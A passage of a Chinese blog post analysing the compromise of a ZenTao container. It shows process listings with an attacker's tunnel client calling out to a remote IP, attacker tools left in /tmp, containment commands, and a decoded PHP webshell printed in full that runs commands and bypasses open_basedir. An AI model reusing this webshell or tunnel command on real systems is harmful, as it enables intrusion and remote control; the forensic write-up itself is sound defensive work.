class="line">  |           |               |-sh</span><br><span class="line">  |           |               |-sh</span><br><span class="line">  |           |               |-sh</span><br><span class="line">  |           |               |-sh</span><br><span class="line">  |           |               |-sh</span><br><span class="line">  |           |               |-sh</span><br><span class="line">  |           |               |-sh</span><br><span class="line">  |           |               |-sh</span><br><span class="line">  |           |               |-sh</span><br><span class="line">  |           |               |   `-scanb.sh ./scanb.sh</span><br><span class="line">  |           |               |       `-fs -h 192.168.38.0/24 -o 192b.txt -t 5 -np ...</span><br><span class="line">  |           |               |           `-8*[&#123;fs&#125;]</span><br><span class="line">  |           |               `-4*[&#123;slix&#125;]</span><br><span class="line">  |           |-httpd -D FOREGROUND</span><br><span class="line">  |           |-httpd -D FOREGROUND</span><br><span class="line">  |           |   `-sh -c...</span><br><span class="line">  |           |       `-sh -c...</span><br><span class="line">  |           |           `-ns -server=176.32.35.190:8024 -vkey=82yukro912ktndfc ...</span><br><span class="line">  |           |               `-11*[&#123;ns&#125;]</span><br><span class="line">  |           |-httpd -D FOREGROUND</span><br><span class="line">  |           |-httpd -D FOREGROUND</span><br><span class="line">  |           |-httpd -D FOREGROUND</span><br><span class="line">  |           |-httpd -D FOREGROUND</span><br><span class="line">  |           |-httpd -D FOREGROUND</span><br><span class="line">  |           |-httpd -D FOREGROUND</span><br><span class="line">  |           |-httpd -D FOREGROUND</span><br><span class="line">  |           |-httpd -D FOREGROUND</span><br><span class="line">  |           |-httpd -D FOREGROUND</span><br><span class="line">  |           `-httpd -D FOREGROUND</span><br><span class="line">  `-scanb.sh ./scanb.sh</span><br><span class="line">      `-fs -h 192.168.39.0/24 -o 192b.txt -t 5 -np</span><br><span class="line">          `-8*[&#123;fs&#125;]</span><br></pre></td></tr></table></figure><span id="more"></span><p>对比一下正常的 <code>pstree -a</code> 的结果吧：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">s6-svscan /etc/s6/s6-enable</span><br><span class="line">  |-s6-supervise 00-mysql</span><br><span class="line">  |   `-mysqld_safe /opt/zbox/run/mysql/mysqld_safe ...</span><br><span class="line">  |       `-mariadbd --defaults-file=/data/mysql/etc/my.cnf--basedir=/opt/zbox/run</span><br><span class="line">  |           `-7*[&#123;mariadbd&#125;]</span><br><span class="line">  |-s6-supervise 02-sentry</span><br><span class="line">  |   `-run ./run</span><br><span class="line">  |       `-sleep 4</span><br><span class="line">  |-s6-supervise 03-roadrunner</span><br><span class="line">  |   `-run ./run</span><br><span class="line">  |       `-sleep 1</span><br><span class="line">  `-s6-supervise 01-apache</span><br><span class="line">      `-apachectl /opt/zbox/bin/apachectl -D FOREGROUND</span><br><span class="line">          `-httpd -D FOREGROUND</span><br><span class="line">              |-httpd -D FOREGROUND</span><br><span class="line">              |-httpd -D FOREGROUND</span><br><span class="line">              |-httpd -D FOREGROUND</span><br><span class="line">              |-httpd -D FOREGROUND</span><br><span class="line">              `-httpd -D FOREGROUND</span><br></pre></td></tr></table></figure><p>完了，确认被黑了。</p><p>zentao 容器内执行 <code>ps auxww | grep ns</code> 发现输出：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">nobody   3084676  0.0  0.0   2480   516 ?        S    Apr23   0:00 sh -c /bin/sh -c &quot;cd &quot;/bin&quot;;/tmp/.1/ns -server=176.32.35.190:8024 -vkey=82yukro912ktndfc -type=tcp;echo dc721;pwd;echo 291d6457e&quot; 2&gt;&amp;1</span><br><span class="line">nobody   3084677  0.0  0.0   2480   524 ?        S    Apr23   0:00 /bin/sh -c cd /bin;/tmp/.1/ns -server=176.32.35.190:8024 -vkey=82yukro912ktndfc -type=tcp;echo dc721;pwd;echo 291d6457e</span><br><span class="line">nobody   3084678  0.1  0.3 858416 55708 ?        Sl   Apr23  37:05 /tmp/.1/ns -server=176.32.35.190:8024 -vkey=82yukro912ktndfc -type=tcp</span><br><span class="line">root     3098254  0.0  0.0   3240   648 pts/0    S+   13:20   0:00 grep ns</span><br></pre></td></tr></table></figure><p>zentao 容器内执行 <code>ps auxww | grep slix</code> 输出：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">nobody    975792  0.0  0.0   2480   540 ?        S    Apr17   0:00 sh -c /bin/sh -c &quot;cd &quot;/tmp&quot;;./slix;echo 60b45fc9adc5;pwd;echo b0c6bc8c2&quot; 2&gt;&amp;1</span><br><span class="line">nobody    975793  0.0  0.0   2480   544 ?        S    Apr17   0:00 /bin/sh -c cd /tmp;./slix;echo 60b45fc9adc5;pwd;echo b0c6bc8c2</span><br><span class="line">nobody    975794  0.0  0.0   5788  2936 ?        Sl   Apr17  23:43 ./slix</span><br><span class="line">root     3141372  0.0  0.0   3240   648 pts/0    S+   11:21   0:00 grep slix</span><br></pre></td></tr></table></figure><h2 id="应急处理"><a href="#应急处理" class="headerlink" title="应急处理"></a>应急处理</h2><p>将被入侵容器 zentao 挪到 none 网络，然后将 zentao 容器改名</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">docker network disconnect chainless zentao</span><br><span class="line">docker network connect none zentao</span><br><span class="line">docker rename zentao zentao_hacked</span><br></pre></td></tr></table></figure><h2 id="继续分析"><a href="#继续分析" class="headerlink" title="继续分析"></a>继续分析</h2><h3 id="基本信息"><a href="#基本信息" class="headerlink" title="基本信息"></a>基本信息</h3><p>zentao 容器：</p><ul><li>ip: 172.16.0.2</li><li>image: easysoft&#x2F;zentao:21.4</li><li>publish port: 8002</li></ul><p>zentao 容器宿主机：</p><ul><li>ip: 192.168.0.11 or 192.168.1.11</li></ul><p>宿主机是一台 vm，宿主机是一台有着公网地址的物理及：PVE</p><ul><li>ip: <ul><li>a.a.a.a(香港线路接口 IP，缺省出口)</li><li>b.b.b.b(中国移动接口 IP)</li><li>192.168.0.1 和 192.168.1.1(内部网桥 ip，所有 vm 都是接在网桥上的)</li></ul></li><li>nginx<ul><li>做了个虚机 proxy_pass 到容器宿主机的 8002 端口，所以可以通过 PVE 的公网入口访问 zentao</li></ul></li></ul><p>whois 的信息（<code>whois 176.32.35.190</code> 的输出）：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line">% This is the RIPE Database query service.</span><br><span class="line">% The objects are in RPSL format.</span><br><span class="line">%</span><br><span class="line">% The RIPE Database is subject to Terms and Conditions.</span><br><span class="line">% See https://docs.db.ripe.net/terms-conditions.html</span><br><span class="line"></span><br><span class="line">% Note: this output has been filtered.</span><br><span class="line">%       To receive output for a database update, use the &quot;-B&quot; flag.</span><br><span class="line"></span><br><span class="line">% Information related to &#x27;176.32.35.0 - 176.32.35.255&#x27;</span><br><span class="line"></span><br><span class="line">% Abuse contact for &#x27;176.32.35.0 - 176.32.35.255&#x27; is &#x27;noc@baxet.ru&#x27;</span><br><span class="line"></span><br><span class="line">inetnum:        176.32.35.0 - 176.32.35.255</span><br><span class="line">netname:        BX-NETWORK</span><br><span class="line">country:        RU</span><br><span class="line">admin-c:        DS9183-RIPE</span><br><span class="line">tech-c:         DS9183-RIPE</span><br><span class="line">status:         ASSIGNED PA</span><br><span class="line">mnt-by:         BX-NOC</span><br><span class="line">created:        2017-12-13T12:29:22Z</span><br><span class="line">last-modified:  2017-12-13T12:29:22Z</span><br><span class="line">source:         RIPE # Filtered</span><br><span class="line"></span><br><span class="line">person:         Dmitry Shilyaev</span><br><span class="line">remarks:        https://justhost.ru</span><br><span class="line">address:        Moscow, Russia</span><br><span class="line">phone:          +74956680903</span><br><span class="line">nic-hdl:        DS9183-RIPE</span><br><span class="line">mnt-by:         BX-NOC</span><br><span class="line">created:        2011-11-03T08:14:05Z</span><br><span class="line">last-modified:  2020-07-26T15:49:06Z</span><br><span class="line">source:         RIPE # Filtered</span><br><span class="line"></span><br><span class="line">% Information related to &#x27;176.32.35.0/24AS51659&#x27;</span><br><span class="line"></span><br><span class="line">route:          176.32.35.0/24</span><br><span class="line">origin:         AS51659</span><br><span class="line">mnt-by:         BX-NOC</span><br><span class="line">created:        2017-12-13T12:30:03Z</span><br><span class="line">last-modified:  2017-12-13T12:30:03Z</span><br><span class="line">source:         RIPE</span><br><span class="line"></span><br><span class="line">% This query was served by the RIPE Database Query Service version 1.117 (BUSA)</span><br></pre></td></tr></table></figure><p>容器宿主机上执行 <code>docker inspect zentao | grep -i privileged</code>，输出：</p><blockquote><pre><code>        &quot;Privileged&quot;: false,</code></pre></blockquote><p>zentao_hacked(容器 zentao 改名来的) 容器内执行 <code>ls -la /tmp</code> 输出：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">total 22972</span><br><span class="line">drwxrwxrwt 1 root   root        4096 May  7 13:20 .</span><br><span class="line">drwxr-xr-x 1 root   root        4096 Feb 19 11:12 ..</span><br><span class="line">drwxr-xr-x 2 nobody nogroup     4096 May  7 13:35 .1</span><br><span class="line">-rw-r--r-- 1 nobody nogroup      674 Apr 16 14:47 .32915ant_x64.so</span><br><span class="line">-rw-r--r-- 1 nobody nogroup    11565 Apr 21 11:34 12.txt</span><br><span class="line">-rw-r--r-- 1 nobody nogroup    18911 Apr 23 17:27 192b.txt</span><br><span class="line">-rw-r--r-- 1 nobody nogroup    81209 May  2 16:55 22.txt</span><br><span class="line">drwxr-xr-x 3 nobody nogroup     4096 Apr 16 17:36 CVE-2021-22555-Exploit</span><br><span class="line">-rw-rw---- 1 nobody nogroup       56 Apr 15 20:35 adminer.invalid</span><br><span class="line">-rw-rw---- 1 nobody nogroup      401 Apr 20 12:21 adminer.version</span><br><span class="line">-rwxr-xr-x 1 nobody nogroup 10137752 Feb 23 01:32 cdk_linux_386</span><br><span class="line">-rwxrwxrwx 1 nobody nogroup  7100304 Apr 16 16:59 fs</span><br><span class="line">-rw-r--r-- 1 nobody nogroup      268 Apr 16 14:47 gconv-modules</span><br><span class="line">-rw-r--r-- 1    501 staff      15236 Jul 11  2024 package.xml</span><br><span class="line">-rw------- 1 nobody nogroup    44113 Apr 23 10:54 phpx2lUxr</span><br><span class="line">-rw-r--r-- 1 nobody nogroup    36381 Apr 20 17:20 result.txt</span><br><span class="line">-rwxr-xr-x 1 nobody nogroup  4903024 Apr 20 16:00 rustscan</span><br><span class="line">-rwxr-xr-x 1 nobody nogroup     1047 Apr 22 14:28 scanb.sh</span><br><span class="line">-rw-r--r-- 1 root   root           0 Feb 19 11:13 sentry.log</span><br><span class="line">-rwxr-xr-x 1 nobody nogroup  1106480 Oct 13  2023 slix</span><br></pre></td></tr></table></figure><h3 id="可疑文件分析"><a href="#可疑文件分析" class="headerlink" title="可疑文件分析"></a>可疑文件分析</h3><p>zentao_hacked(容器 zentao 改名来的) 容器内执行 <code>stat /tmp/phpx2lUxr</code> 的输出： </p><blockquote><p>  File: &#x2F;tmp&#x2F;phpx2lUxr<br>  Size: 44113     Blocks: 88         IO Block: 4096   regular file<br>Device: 5eh&#x2F;94dInode: 2374031     Links: 1<br>Access: (0600&#x2F;-rw——-)  Uid: (65534&#x2F;  nobody)   Gid: (65534&#x2F; nogroup)<br>Access: 2025-05-07 13:05:27.412000000 +0800<br>Modify: 2025-04-23 10:54:16.944000000 +0800<br>Change: 2025-04-23 10:54:16.944000000 +0800<br> Birth: 2025-04-23 10:54:16.944000000 +0800</p></blockquote><p><code>/tmp/phpx2lUxr</code> 文件太大，就不列内容了，但这是一个非常重要的文件，我们来分析一下这个文件吧</p><p>再弄个 python 程序：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># a.py</span></span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> urllib.parse</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;phpx2lUxr&#x27;</span>, <span class="string">&#x27;r&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    data = f.read()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 拆分 key=value</span></span><br><span class="line"><span class="keyword">for</span> pair <span class="keyword">in</span> data.split(<span class="string">&#x27;&amp;&#x27;</span>):</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;=&#x27;</span> <span class="keyword">in</span> pair:</span><br><span class="line">        key, value = pair.split(<span class="string">&#x27;=&#x27;</span>, <span class="number">1</span>)</span><br><span class="line">        <span class="comment"># 先 URL 解码</span></span><br><span class="line">        value_decoded = urllib.parse.unquote(value)</span><br><span class="line">        <span class="comment"># 尝试 base64 解码</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            decoded = base64.b64decode(value_decoded).decode(<span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line">            <span class="comment"># 如果解码后有明显 PHP 代码特征</span></span><br><span class="line">            <span class="keyword">if</span> <span class="string">&#x27;&lt;?php&#x27;</span> <span class="keyword">in</span> decoded <span class="keyword">or</span> <span class="string">&#x27;eval&#x27;</span> <span class="keyword">in</span> decoded <span class="keyword">or</span> <span class="string">&#x27;base64_decode&#x27;</span> <span class="keyword">in</span> decoded:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&#x27;Key: <span class="subst">&#123;key&#125;</span>\nDecoded:\n<span class="subst">&#123;decoded&#125;</span>\n&#x27;</span>)</span><br><span class="line">        <span class="keyword">except</span> Exception:</span><br><span class="line">            <span class="keyword">continue</span></span><br></pre></td></tr></table></figure><p>执行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 a.py</span><br></pre></td></tr></table></figure><p>输出：</p><blockquote><p>Key: bd87898bcbf27d<br>Decoded:<br>@ini_set(“display_errors”, “0”);@set_time_limit(0);$opdir&#x3D;@ini_get(“open_basedir”);if($opdir) {$ocwd&#x3D;dirname($_SERVER[“SCRIPT_FILENAME”]);$oparr&#x3D;preg_split(base64_decode(“Lzt8Oi8&#x3D;”),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir&#x3D;$item.”&#x2F;.dd4073a3309”;@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir&#x3D;realpath($tmdir);@chdir($tmdir);@ini_set(“open_basedir”, “..”);$cntarr&#x3D;@preg_split(“&#x2F;\\|/&#x2F;“,$tmdir);for($i&#x3D;0;$i&lt;sizeof($cntarr);$i++){@chdir(“..”);};@ini_set(“open_basedir”,”&#x2F;“);@rmdir($tmdir);break;};};;function asenc($out){return @base64_encode($out);};function asoutput(){$output&#x3D;ob_get_contents();ob_end_clean();echo “67”.”035”;echo @asenc($output);echo “031”.”531”;}ob_start();try{$p&#x3D;base64_decode(substr($_POST[“h82ad1117a8e69”],2));$s&#x3D;base64_decode(substr($_POST[“h51d3ad7f0190a”],2));$envstr&#x3D;@base64_decode(substr($_POST[“pb5f3a839543ad”],2));$d&#x3D;dirname($_SERVER[“SCRIPT_FILENAME”]);$c&#x3D;substr($d,0,1)&#x3D;&#x3D;”&#x2F;“?”-c &quot;{$s}&quot;“:”&#x2F;c &quot;{$s}&quot;“;if(substr($d,0,1)&#x3D;&#x3D;”&#x2F;“){@putenv(“PATH&#x3D;”.getenv(“PATH”).”:&#x2F;usr&#x2F;local&#x2F;sbin:&#x2F;usr&#x2F;local&#x2F;bin:&#x2F;usr&#x2F;sbin:&#x2F;usr&#x2F;bin:&#x2F;sbin:&#x2F;bin”);}else{@putenv(“PATH&#x3D;”.getenv(“PATH”).”;C:&#x2F;Windows&#x2F;system32;C:&#x2F;Windows&#x2F;SysWOW64;C:&#x2F;Windows;C:&#x2F;Windows&#x2F;System32&#x2F;WindowsPowerShell&#x2F;v1.0&#x2F;;”);}if(!empty($envstr)){$envarr&#x3D;explode(“|||asline|||”, $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace(“|||askey|||”, “&#x3D;”, $v));}}}$r&#x3D;”{$p} {$c}”;function fe($f){$d&#x3D;explode(“,”,@ini_get(“disable_functions”));if(empty($d)){$d&#x3D;array();}else{$d&#x3D;array_map(‘trim’,array_map(‘strtolower’,$d));}return(function_exists($f)&amp;&amp;is_callable($f)&amp;&amp;!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) &#x3D;&#x3D; “&#x2F;“ &amp;&amp; fe(‘putenv’) &amp;&amp; (fe(‘error_log’) || fe(‘mail’))) {if (strstr(readlink(“&#x2F;bin&#x2F;sh”), “bash”) !&#x3D; FALSE) {$tmp &#x3D; tempnam(sys_get_temp_dir(), ‘as’);putenv(“PHP_LOL&#x3D;() { x; }; $c &gt;$tmp 2&gt;&amp;1”);if (fe(‘error_log’)) {error_log(“a”, 1);} else {mail(“<a href="mailto:&#97;&#x40;&#x31;&#50;&#55;&#x2e;&#48;&#46;&#x30;&#46;&#49;">&#97;&#x40;&#x31;&#50;&#55;&#x2e;&#48;&#46;&#x30;&#46;&#49;</a>“, “”, “”, “-bv”);}} else {return False;}$output &#x3D; @file_get_contents($tmp);@unlink($tmp);if ($output !&#x3D; “”) {print($output);return True;}}return False;};function runcmd($c){$ret&#x3D;0;$d&#x3D;dirname($_SERVER[“SCRIPT_FILENAME”]);if(fe(‘system’)){@system($c,$ret);}elseif(fe(‘passthru’)){@passthru($c,$ret);}elseif(fe(‘shell_exec’)){print(@shell_exec($c));}elseif(fe(‘exec’)){@exec($c,$o,$ret);print(join(“<br>“,$o));}elseif(fe(‘popen’)){$fp&#x3D;@popen($c,’r’);while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe(‘proc_open’)){$p &#x3D; @proc_open($c, array(1 &#x3D;&gt; array(‘pipe’, ‘w’), 2 &#x3D;&gt; array(‘pipe’, ‘w’)), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe(‘antsystem’)){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!&#x3D;”&#x2F;“ &amp;&amp; @class_exists(“COM”)){$w&#x3D;new COM(‘WScript.shell’);$e&#x3D;$w-&gt;exec($c);$so&#x3D;$e-&gt;StdOut();$ret.&#x3D;$so-&gt;ReadAll();$se&#x3D;$e-&gt;StdErr();$ret.&#x3D;$se-&gt;ReadAll();print($ret);}else{$ret &#x3D; 127;}return $ret;};$ret&#x3D;@runcmd($r.” 2&gt;&amp;1”);print ($ret!&#x3D;0)?”ret&#x3D;{$ret}”:””;;}catch(Exception $e){echo “ERROR:&#x2F;&#x2F;“.$e-&gt;getMessage();};asoutput();die();</p></blockquote><p>把 php 代码格式化后，得到：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br></pre></td><td class="code"><pre><span class="line">@<span class="title function_ invoke__">ini_set</span>(<span class="string">&quot;display_errors&quot;</span>, <span class="string">&quot;0&quot;</span>);</span><br><span class="line">@<span class="title function_ invoke__">set_time_limit</span>(<span class="number">0</span>);</span><br><span class="line"><span class="variable">$opdir</span>=@<span class="title function_ invoke__">ini_get</span>(<span class="string">&quot;open_basedir&quot;</span>);</span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$opdir</span>) &#123;</span><br><span class="line"><span class="variable">$ocwd</span>=<span class="title function_ invoke__">dirname</span>(<span class="variable">$_SERVER</span>[<span class="string">&quot;SCRIPT_FILENAME&quot;</span>]);</span><br><span class="line"><span class="variable">$oparr</span>=<span class="title function_ invoke__">preg_split</span>(<span class="title function_ invoke__">base64_decode</span>(<span class="string">&quot;Lzt8Oi8=&quot;</span>),<span class="variable">$opdir</span>);</span><br><span class="line">@<span class="title function_ invoke__">array_push</span>(<span class="variable">$oparr</span>,<span class="variable">$ocwd</span>,<span class="title function_ invoke__">sys_get_temp_dir</span>());</span><br><span class="line"><span class="keyword">foreach</span>(<span class="variable">$oparr</span> <span class="keyword">as</span> <span class="variable">$item</span>) &#123;</span><br><span class="line"><span class="keyword">if</span>(!@<span class="title function_ invoke__">is_writable</span>(<span class="variable">$item</span>))&#123;</span><br><span class="line"><span class="keyword">continue</span>;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="variable">$tmdir</span>=<span class="variable">$item</span>.<span class="string">&quot;/.dd4073a3309&quot;</span>;</span><br><span class="line">@<span class="title function_ invoke__">mkdir</span>(<span class="variable">$tmdir</span>);</span><br><span class="line"><span class="keyword">if</span>(!@<span class="title function_ invoke__">file_exists</span>(<span class="variable">$tmdir</span>))&#123;</span><br><span class="line"><span class="keyword">continue</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$tmdir</span>=<span class="title function_ invoke__">realpath</span>(<span class="variable">$tmdir</span>);</span><br><span class="line">@<span class="title function_ invoke__">chdir</span>(<span class="variable">$tmdir</span>);</span><br><span class="line">@<span class="title function_ invoke__">ini_set</span>(<span class="string">&quot;open_basedir&quot;</span>, <span class="string">&quot;..&quot;</span>);</span><br><span class="line"><span class="variable">$cntarr</span>=@<span class="title function_ invoke__">preg_split</span>(<span class="string">&quot;/\\\\|\//&quot;</span>,<span class="variable">$tmdir</span>);</span><br><span class="line"><span class="keyword">for</span>(<span class="variable">$i</span>=<span class="number">0</span>;<span class="variable">$i</span>&lt;<span class="title function_ invoke__">sizeof</span>(<span class="variable">$cntarr</span>);<span class="variable">$i</span>++)&#123;</span><br><span class="line">@<span class="title function_ invoke__">chdir</span>(<span class="string">&quot;..&quot;</span>);</span><br><span class="line">&#125;;</span><br><span class="line">@<span class="title function_ invoke__">ini_set</span>(<span class="string">&quot;open_basedir&quot;</span>,<span class="string">&quot;/&quot;</span>);</span><br><span class="line">@<span class="title function_ invoke__">rmdir</span>(<span class="variable">$tmdir</span>);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;;</span><br><span class="line">&#125;;</span><br><span class="line">;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">asenc</span>(<span class="params"><span class="variable">$out</span></span>)</span>&#123;</span><br><span class="line"><span class="keyword">return</span> @<span class="title function_ invoke__">base64_encode</span>(<span class="variable">$out</span>);</span><br><span class="line">&#125;;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">asoutput</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line"><span class="variable">$output</span>=<span class="title function_ invoke__">ob_get_contents</span>();</span><br><span class="line"><span class="title function_ invoke__">ob_end_clean</span>();</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;67&quot;</span>.<span class="string">&quot;035&quot;</span>;</span><br><span class="line"><span class="keyword">echo</span> @<span class="title function_ invoke__">asenc</span>(<span class="variable">$output</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;031&quot;</span>.<span class="string">&quot;531&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_ invoke__">ob_start</span>();</span><br><span class="line"><span class="keyword">try</span>&#123;</span><br><span class="line"><span class="variable">$p</span>=<span class="title function_ invoke__">base64_decode</span>(<span class="title function_ invoke__">substr</span>(<span class="variable">$_POST</span>[<span class="string">&quot;h82ad1117a8e69&quot;</span>],<span class="number">2</span>));</span><br><span class="line"><span class="variable">$s</span>=<span class="title function_ invoke__">base64_decode</span>(<span class="title function_ invoke__">substr</span>(<span class="variable">$_POST</span>[<span class="string">&quot;h51d3ad7f0190a&quot;</span>],<span class="number">2</span>));</span><br><span class="line"><span class="variable">$envstr</span>=@<span class="title function_ invoke__">base64_decode</span>(<span class="title function_ invoke__">substr</span>(<span class="variable">$_POST</span>[<span class="string">&quot;pb5f3a839543ad&quot;</span>],<span class="number">2</span>));</span><br><span class="line"><span class="variable">$d</span>=<span class="title function_ 